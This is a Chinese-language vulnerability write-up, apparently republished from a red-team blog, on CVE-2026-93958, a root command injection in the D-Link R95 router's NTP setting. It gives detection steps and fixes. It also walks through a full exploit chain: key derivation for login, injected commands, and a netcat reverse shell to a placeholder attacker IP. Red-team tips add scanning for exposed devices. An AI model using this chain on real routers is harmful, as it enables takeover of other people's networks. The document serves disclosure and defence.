(9.1分)CVE-2026-93958:D-LinkR95路由器命令注入

admin 2026-09-23 06:04:36 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析D-LinkR95路由器CVE-2026-93958认证后命令注入漏洞,CVSS9.1,利用代码已公开。漏洞源于ssi二进制对NTPServer字段过滤不严,拼接进shell命令以root执行。文章详述认证机制、完整利用链及修复建议,并指出同固件存在7个同类注入点。建议用户限制管理口暴露、修改弱口令并关注厂商补丁。 综合评分: 88 文章分类: 漏洞分析,红队,实战经验


(9.1分) CVE-2026-93958:D-Link R95 路由器命令注入

红队安全圈 红队安全圈

红队安全圈

2026年9月20日 20:00 重庆

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

D-Link 旗舰 Wi-Fi 7 路由器 R95 被挖出 CVSS 9.1 命令注入,利用代码已公开,注入成功直接拿 root——成因、认证机制、完整利用链一次拆透。

01  引言

D-Link 旗舰 Wi-Fi 7 路由器 R95(BE9500)的固件里被挖出一个认证后命令注入,编号 CVE-2026-93958,CVSS 9.1,利用代码已经公开。漏洞藏在 DHMAPI(SOAP over HTTPS)接口处理 SetTimeSettings 请求的 NTPServer 字段里——这个字段未做任何过滤就被拼进 shell 命令执行,注入成功直接拿 root。这篇把成因、认证机制、完整利用链和 EXP 全部拆给你看。

02  漏洞速览

漏洞编号CVE-2026-93958

影响产品D-Link R95(BE9500)

固件版本BE9500_1.00.16

漏洞类型OS 命令注入(CWE-77/78)

危害等级CVSS 9.1 严重

利用前提有效 web 管理会话

PoC 状态已公开(含完整 EXP)

影响面root 权限任意命令执行

03  漏洞成因

漏洞出在 web 管理后端二进制 /bin/ssi(以 root 运行),它实现了 DHMAPI SOAP 接口。

污染源:SetTimeSettings 处理函数(ssi 内偏移 0x6bd84)从 SOAP 请求中提取 NTPServer 字段存入栈缓冲区,长度上限 0x3f(63 字节)——注意这只是缓冲区大小限制,不是安全校验。值随后原样写入内部配置键 time.value.NTPServer,全程不过滤、不转义任何 shell 元字符。

污染汇:配置同步到 UCI 时,ssi 会把配置值拼接进 shell 命令字符串,通过 system() 类调用执行。二进制里能找到这样的格式串:

uci set %s=”%s” > /dev/null

值被包在双引号里,shell 在执行拼接命令前会对值里的反引号和 $() 做命令替换。ssi 以 root 跑,注入的命令自然也是 root 权限。

时间侧信道证实求值发生在请求处理路径内同步完成:注入 sleep 10 会让 HTTP 响应延迟约 10 秒。被污染的值还会持久化进 UCI(ntpclient.@ntpserver[0].hostname),之后被 /bin/start_ntpclient.sh 不加引号地消费(ntpclient -s -h $HOSTNAME),这是第二个加固缺口。

已验证的利用约束:

字段长度≤63 字节;60 过,80 拒(400)

& 字符不能出现(截断命令行)

注入语法反引号已验证;$() 同样有效

执行上下文uid=0(root) gid=0(root)

输出通道写 web 根目录再 HTTP GET 取回

04  认证机制(API-AUTH)

所有 DHMAPI 请求必须携带:Cookie: uid=会话cookie(登录获得);API-AUTH 头为 HMAC-SHA256(privkey, ts+action) 的大写十六进制值加时间戳 ts;API-ACTION / SOAPAction 头与 SOAP 动作匹配,还需 User-Agent 和 Referer(缺 UA 或 Referer 返回 HTTP 400/500)。ts 是毫秒时间戳,设备不校验时效性,固定值可复用。

privkey 的推导流程分五步:

  1. 用静态密钥串 withoutloginkey 签名,发 Login / Action=request,拿回 Challenge、Cookie、PublicKey、SaltHash。

  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32));无 SaltHash 时直接用明文密码。

  3. privkey = 大写HEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))。

  4. LoginPassword = 大写HEX(HMAC-SHA256(key = privkey, msg = Challenge))。

  5. 用上面材料发 Login / Action=login,返回 success 后,后续请求用 Cookie 签 privkey。

05  利用步骤

第一步,登录请求拿 Challenge/Cookie/PublicKey/SaltHash(关键头如下,请求体为 SOAP Login XML):

POST /DHMAPI/ HTTP/1.1

Host: 192.168.2.254:18443

API-ACTION: Login

API-AUTH: HMAC(withoutloginkey,

  ts+”Login”)

SOAPAction: “Login”

第二步,正式登录建立会话,LoginPassword 按上面第 4 步计算,期望返回 success。

第三步,注入命令,把输出写到 web 根目录:

API-ACTION: SetTimeSettings

id > /www/m\_id.txt

第四步,取回命令输出:

GET /m_id.txt HTTP/1.1

Host: 192.168.2.254:18443

实测响应体:

uid=0(root) gid=0(root)

替代验证——时间盲注:NTPServer 填 sleep 10,HTTP 响应延迟约 10 秒;填正常 NTP 服务器名则立即返回。

完整利用——反弹 shell:63 字节限制可以用 base64 分片写脚本绕过:

  1. 反复发 SetTimeSettings,每次追加一片(包反引号):

echo -n <分片> >> /tmp/x

  1. 解码:

base64 -d /tmp/x > /tmp/rs.rs

  1. 脚本内容(busybox ash 下管道两边必须留空格):

rm -f /tmp/f; mkfifo /tmp/f

cat /tmp/f | sh -i |

  nc 攻击机IP 4444 > /tmp/f

  1. 触发:sh /tmp/rs.rs,攻击机监听即可收到交互式 root shell(~ #,BusyBox ash)。

06  PoC/EXP

公开仓库附了完整 EXP 脚本(Python,requests 实现),核心逻辑:login() 完成三步认证握手拿 privkey 和会话,inject() 把命令塞进 NTPServer 反引号里发出,run() 对 ≤54 字节的命令直接注入并从 web 根目录读回输出,更长的命令自动切 base64 分片写入 /tmp/x 再解码执行。用法:python r95_exp.py 进交互 root shell,python r95_exp.py “id” 跑单条命令。

07  根因小结

  1. ssi 把 NTPServer 字段(以及同一处理函数里的兄弟字段)零过滤写入配置库。

  2. 配置同步用 system() 风格的 shell 字符串拼接,值包在双引号里,shell 会求值反引号和 $()。

  3. ssi 以 root 运行,注入命令直接满权限执行。

同一代码模式在该固件里至少还有 7 个认证后注入点(TZLocation、DeviceName、DDNS 的 Hostname/Username、客户端 NickName,以及经 SetNetworkSettings 的二阶注入),全部实测 uid=0(root) 执行。

08  检测与排查

有 R95/BE9500 设备的,先确认固件版本是否为 1.00.16 / 1.01B06 系列;再查 UCI 配置里 ntpclient 的 hostname 有没有异常值,以及 web 根目录 /www/ 下有没有不明文件(EXP 会把命令输出落在这里):

uci get ntpclient.@ntpserver

  [0].hostname

ls /www/ | grep -v html

09  修复建议

  1. 主机名类输入字段入库前做强白名单校验(只放行 A-Za-z0-9.-)。

  2. 弃用 system() 字符串拼接,改用 libuci API(ssi 本来就链了这个库)或不经 shell 的 exec* 系调用。

  3. /bin/start_ntpclient.sh 里给 $HOSTNAME 加引号。

  4. web 管理服务降权运行。

  5. 审计并统一修复上面列出的兄弟注入点。

补丁方面,厂商目前还没有发布修复固件,建议尽快把设备的管理口收进内网、改掉弱口令,对外暴露的一律先断掉。

10  红队视角

这个洞的实战价值在三点。第一,认证后利用但不鸡肋——路由器弱口令和默认密码是现实网络里的常态,叠加设备认证逻辑里时间戳不校验、SaltHash 缺失时直接用明文密码这些宽松设计,打点成本很低。第二,输出通道教科书级:没有回显不可怕,写 web 根目录再 GET 就行,全双工交互。第三,一个注入点背后是一整类模式缺陷,同一固件 7 个兄弟注入点意味着即便厂商修了 NTPServer,也要盯紧后续版本有没有补全——挖这类设备时,找到一个 system() 拼接点就应该把所有 Set* 动作全枚举一遍。横向看,和之前一堆家用路由器 ssi/httpd 二进制里 config 值直接进 shell 的洞是同一个模子,固件分析时 grep uci set 加双引号格式串就能快速定位同类汇点。

11  实战技巧

  1. 固件分析阶段:binwalk 解包后直接 strings 找 uci set %s=”%s” 这类格式串,定位所有把用户输入拼进 shell 的汇点,比逆向每个 handler 快得多。

  2. 认证绕过优先级:遇到 API-AUTH/HMAC 签名类接口,先试文档里写死的静态密钥(本例 withoutloginkey),再测时间戳是否真的校验——很多厂商实现只验签名不验时效,重放窗口无限大。

  3. 63 字节限制别当死线:base64 分片写入 + 解码执行是嵌入式注入的通用绕法,busybox 环境记得 nc/mkfifo 组合弹 shell,管道两边留空格。

  4. 检测批量资产:nmap 扫 18443 端口(DHMAPI 监听口)可快速圈出暴露在公网的 R95 类设备。

12  POC 链接

https://github.com/FoundTL/D-Link-R95-BE9500

https://nvd.nist.gov/vuln/detail

  /CVE-2026-93958

说明:PoC 来自公开漏洞研究仓库 FoundTL/D-Link-R95-BE9500,复现环境为实验室设备,命令均为 root 权限执行,请仅在授权环境测试。

如果文章对您有收获,欢迎关注、点赞、推荐、转发。

— END —


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:红队安全圈 红队安全圈 红队安全圈《(9.1分) CVE-2026-93958:D-Link R95 路由器命令注入》

    评论:0   参与:  0